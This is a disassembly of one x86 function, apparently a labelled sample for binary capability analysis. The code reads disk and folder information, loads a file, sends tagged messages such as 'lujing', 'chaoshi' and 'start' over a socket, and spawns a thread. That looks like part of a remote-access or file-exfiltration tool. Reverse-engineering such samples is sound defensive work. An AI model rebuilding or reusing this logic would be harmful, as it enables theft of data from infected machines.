Function at 0x409ba0
Capabilities:
Create thread
Get common file path
Get disk information
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x58c9db
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1908
call fcn.00562d70
mov eax, dword [0x5f0e24]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x800
lea eax, [ebp - 0x820]
mov ecx, 0x201
lea esi, [ebx + 8]
lea edi, [ebp - 0x1058]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.005640c0
add esp, 0xc
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x1054]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x821], al
test al, al
jne 0x409c10
lea ecx, [ebp - 0x820]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409c30
sub ecx, edx
lea eax, [ebp - 0x820]
push ecx
push eax
mov ecx, 0x5f18b0
call fcn.0040ad80
cmp dword [0x5f18c4], 0x10
mov ecx, 0x5f18b0
mov edi, dword [0x5f18c0]
cmovae ecx, dword [0x5f18b0]
or edx, 0xffffffff
test edi, edi
je 0x409c8e
lea eax, [edi - 1]
mov esi, edx
cmp eax, edx
cmovb esi, eax
add esi, ecx
cmp byte [esi], 0x2f
je 0x409c8a
nop dword [eax]
cmp esi, ecx
je 0x409c8e
dec esi
cmp byte [esi], 0x2f
jne 0x409c80
sub esi, ecx
jmp 0x409c91
or esi, 0xffffffff
cmp dword [0x5f18c4], 0x10
mov ecx, 0x5f18b0
cmovae ecx, dword [0x5f18b0]
test edi, edi
je 0x409cc6
lea eax, [edi - 1]
cmp eax, 0xffffffff
cmovb edx, eax
add edx, ecx
cmp byte [edx], 0x2e
je 0x409cc2
cmp edx, ecx
je 0x409cc6
dec edx
cmp byte [edx], 0x2e
jne 0x409cb8
sub edx, ecx
jmp 0x409cc9
or edx, 0xffffffff
mov dword [ebp - 0x840], 0
xorps xmm0, xmm0
mov dword [ebp - 0x83c], 0
movups xmmword [ebp - 0x850], xmm0
cmp edi, edx
jb 0x40a2bb
sub edi, edx
or ecx, 0xffffffff
cmp edi, 0xffffffff
mov eax, 0x5f18b0
cmovb ecx, edi
cmp dword [0x5f18c4], 0x10
push ecx
cmovae eax, dword [0x5f18b0]
lea ecx, [ebp - 0x850]
add eax, edx
push eax
call fcn.00408660
mov dword [ebp - 4], 0
inc esi
mov eax, dword [0x5f18c0]
xorps xmm0, xmm0
mov dword [ebp - 0x828], 0
mov dword [ebp - 0x824], 0
movups xmmword [ebp - 0x838], xmm0
cmp eax, esi
jb 0x40a2c0
sub eax, esi
mov ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp dword [0x5f18c4], 0x10
mov eax, 0x5f18b0
cmovae eax, dword [0x5f18b0]
push ecx
add eax, esi
lea ecx, [ebp - 0x838]
push eax
call fcn.00408660
mov ecx, dword [0x5f18ac]
cmp ecx, 0x10
jb 0x409db7
mov eax, dword [0x5f1898]
inc ecx
cmp ecx, 0x1000
jb 0x409dad
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a2c5
mov eax, edx
push ecx
push eax
call fcn.00561e8b
add esp, 8
movups xmm0, xmmword [ebp - 0x838]
push 0x100
lea eax, [ebp - 0x954]
movups xmmword [0x5f1898], xmm0
push 0
movq xmm0, qword [ebp - 0x828]
push eax
movq qword [0x5f18a8], xmm0
call fcn.005640c0
add esp, 0xc
mov dword [ebp - 0x958], 0x5c3a44
cmp dword [0x5f18ac], 0x10
lea eax, [ebp - 0x958]
mov ecx, 0x5f1898
cmovae ecx, dword [ebp - 0x838]
push ecx
push 0x104
push eax
call fcn.00568b6c
lea ecx, [ebp - 0x958]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409e26
sub ecx, edx
lea eax, [ebp - 0x958]
push ecx
push eax
mov ecx, 0x5f1898
call fcn.0040ad80
push 0xff
lea eax, [ebp - 0x120]
mov dword [0x5fa548], 0
push 0
push eax
call fcn.005640c0
add esp, 0xc
lea eax, [ebp - 0x120]
push 0
push 0x10
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x834]
mov word [ebp - 0x834], 0x3a44
xorps xmm0, xmm0
mov byte [ebp - 0x832], 0
push eax
movups xmmword [ebp - 0x831], xmm0
mov byte [ebp - 0x821], 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
je 0x409f21
cmp eax, 2
je 0x409f21
push 0x7f9
lea eax, [ebp - 0x815]
push 0
push eax
call fcn.005640c0
mov eax, dword [str.lujing]
lea esi, [ebp - 0x820]
add esp, 0xc
mov dword [ebp - 0x81c], eax
mov ax, word [0x5d0da8]
lea edi, [ebp - 0x185c]
mov word [ebp - 0x818], ax
mov ecx, 0x201
mov al, byte [0x5d0daa]
push 0
mov byte [ebp - 0x816], al
lea eax, [ebp - 0x185c]
push 0x804
push eax
push dword [0x5fa534]
mov dword [ebp - 0x820], 0x24
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x40a267
push ecx
lea ecx, [ebp - 0x1918]
call fcn.0040a860
mov byte [ebp - 4], 1
mov eax, 0x5f1898
cmp dword [0x5f18ac], 0x10
push ecx
cmovae eax, dword [0x5f1898]
lea ecx, [ebp - 0x1908]
push 1
push eax
call fcn.00406120
test eax, eax
lea ecx, [ebp - 0x1918]
mov eax, dword [ebp - 0x1918]
je 0x409f75
add ecx, dword [eax + 4]
xor edx, edx
mov eax, 4
cmp dword [ecx + 0x38], edx
cmovne eax, edx
jmp 0x409f8a
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push 0
push eax
call fcn.00408310
cmp dword [ebp - 0x18bc], 0
je 0x40a0bc
mov edi, dword [ebp - 0x840]
lea ecx, [ebp - 0x1908]
call fcn.00406020
test eax, eax
jne 0x409fdd
mov eax, dword [ebp - 0x1918]
lea ecx, [ebp - 0x1918]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00408310
cmp dword [ebp - 0x83c], 0x10
lea ecx, [ebp - 0x850]
mov esi, dword [0x5f18ac]
mov eax, esi
cmovae ecx, dword [ebp - 0x850]
mov edx, dword [0x5f18a8]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x40a030
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [0x5f18a8], eax
mov eax, 0x5f1898
cmovae eax, dword [0x5f1898]
lea esi, [eax + edx]
push esi
call fcn.00563b40
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x40a04e
mov byte [ebp - 0x1860], 0
mov ecx, 0x5f1898
push dword [ebp - 0x1860]
push edi
call fcn.004079d0
mov edi, dword [ebp - 0x840]
cmp dword [0x5f18ac], 0x10
mov eax, 0x5f1898
push ecx
cmovae eax, dword [0x5f1898]
lea ecx, [ebp - 0x1908]
push 1
push eax
call fcn.00406120
test eax, eax
lea ecx, [ebp - 0x1918]
mov eax, dword [ebp - 0x1918]
je 0x40a092
add ecx, dword [eax + 4]
xor edx, edx
mov eax, 4
cmp dword [ecx + 0x38], edx
cmovne eax, edx
jmp 0x40a0a7
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push 0
push eax
call fcn.00408310
cmp dword [ebp - 0x18bc], 0
jne 0x409fa5
lea ecx, [ebp - 0x1908]
call fcn.00406020
test eax, eax
jne 0x40a0f4
mov eax, dword [ebp - 0x1918]
lea ecx, [ebp - 0x1918]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00408310
push 0x3e8
push dword [0x5fa54c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40a176
cmp eax, 0x102
jne 0x40a176
push 0x7f8
lea eax, [ebp - 0x814]
push 0
push eax
call fcn.005640c0
add esp, 0xc
mov dword [ebp - 0x820], 0x24
lea eax, [ebp - 0x185c]
mov dword [ebp - 0x81c], 0x6f616863
mov ecx, 0x201
mov dword [ebp - 0x818], 0x696873
lea esi, [ebp - 0x820]
push 0
push 0x804
push eax
push dword [0x5fa534]
lea edi, [ebp - 0x185c]
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x40a1f1
push 0x7fa
lea eax, [ebp - 0x816]
push 0
push eax
call fcn.005640c0
mov eax, dword [str.start]
lea esi, [ebp - 0x820]
add esp, 0xc
mov dword [ebp - 0x81c], eax
mov ax, word [0x5d0da0]
mov ecx, 0x201
mov word [ebp - 0x818], ax
lea eax, [ebp - 0x185c]
mov edi, eax
mov dword [ebp - 0x820], 0x24
push 0
push 0x804
push eax
push dword [0x5fa534]
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.WS2_32.dll_send]
push 0
push 0
push 0
push 0x409100
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x5fa54c], eax
mov eax, dword [ebp - 0x1918]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1918]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x191c], eax
lea ecx, [ebp - 0x1908]
call fcn.00405760
mov eax, dword [ebp - 0x1918]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1918]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x191c], eax
lea eax, [ebp - 0x18a8]
mov byte [ebp - 4], 2
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00416494
add esp, 4
mov ecx, dword [ebp - 0x83c]
cmp ecx, 0x10
jb 0x40a29d
mov edx, dword [ebp - 0x850]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a293
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a2c5
push ecx
push edx
call fcn.00561e8b
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00561e7d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004065f0
call fcn.004065f0
call fcn.005673a5
int3